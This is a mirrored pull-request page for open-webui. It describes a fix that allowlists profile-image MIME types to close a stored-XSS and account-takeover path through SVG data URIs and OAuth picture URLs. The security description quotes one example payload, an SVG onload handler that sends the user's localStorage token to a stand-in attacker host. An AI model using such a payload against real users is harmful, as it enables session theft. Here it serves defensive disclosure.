mirror of
https://github.com/open-webui/open-webui.git
synced 2026-07-16 06:03:26 -05:00
[PR #24516] [CLOSED] fix: allowlist profile-image MIME at serving endpoint and OAuth ingestion #98737
Reference in New Issue
Block a user
Delete Branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
📋 Pull Request Information
Original PR: https://github.com/open-webui/open-webui/pull/24516
Author: @Classic298
Created: 5/9/2026
Status: ❌ Closed
Base:
dev← Head:fix/profile-image-svg-mime-whitelist📝 Commits (2)
2bde0b7fix: allowlist profile-image MIME at serving endpoint and OAuth ingestion4528235chore: trim comments📊 Changes
2 files changed (+18 additions, -6 deletions)
View changed files
📝
backend/open_webui/routers/users.py(+9 -2)📝
backend/open_webui/utils/oauth.py(+9 -4)📄 Description
Two layers of the profile-image pipeline trusted attacker-controllable MIME information and could re-serve
image/svg+xml(a browser-executable type) as a top-level document underContent-Disposition: inline, yielding stored-XSS / account-takeover when a victim opened the URL:get_user_profile_image_by_idinbackend/open_webui/routers/users.pyread thedata:<mime>;base64,...prefix off the storedprofile_image_urland reflected<mime>straight intoStreamingResponse(media_type=...). Anything in the DB whose MIME was not png/jpeg/gif/webp — for example anything written through a path that bypassesvalidate_profile_image_url— was served verbatim._process_picture_urlinbackend/open_webui/utils/oauth.pyfetched the OAuthpictureclaim URL and inferred the MIME from the URL extension viamimetypes.guess_type(picture_url)[0], then storeddata:<inferred>;base64,...in the user'sprofile_image_url. The inferred MIME was never compared against an allowlist, and the upstreamContent-Typeresponse header was discarded. A.svgpicture URL produceddata:image/svg+xml;base64,...in the database; the OAuth write path (Users.update_user_profile_image_url_by_id/Auths.insert_new_auth) does not run through the Pydanticvalidate_profile_image_urlvalidator, so the SVG MIME is not caught on the way in either.Combined effect: a verified user authenticating via OAuth with a controlled IdP picture URL could store an SVG-MIME data URI in their own profile, then share
/api/v1/users/{id}/profile/imageto any authenticated victim. The browser rendered the SVG as a top-level document under the application's same origin and executed embedded script handlers (e.g.onload="fetch('https://attacker/x?c='+ localStorage.getItem('token'))").Two fixes, defense-in-depth:
get_user_profile_image_by_id: lower-case the parsedmedia_typeand reject anything outside{image/png, image/jpeg, image/gif, image/webp}before building the StreamingResponse — fall through to the defaultuser.pnginstead. AddsX-Content-Type-Options: nosniffon the success path so a browser cannot MIME-sniff its way back to a scriptable type. This single change closes the XSS exploitation regardless of what is stored in the DB or how it got there._process_picture_url: replace the URL-extension MIME guess with the upstreamContent-Typeresponse header, then allowlist to the same raster image MIMEs the form path accepts. If the upstream serves anything else (or omits Content-Type), fall back to the default/user.pngand log. This stops the bad data from landing in the DB in the first place, keeps the data layer clean, and means a future refactor that drops the serving-endpoint allowlist still cannot reintroduce the vulnerability via OAuth.Form-input writes were already protected by
validate_profile_image_url(SVG explicitly excluded — seebackend/open_webui/utils/validate.py:16"SVG is intentionally excluded: it can carry embedded scripts"). The gap was the bypass paths; this PR closes them.Contributor License Agreement
🔄 This issue represents a GitHub Pull Request. It cannot be merged through Gitea due to API limitations.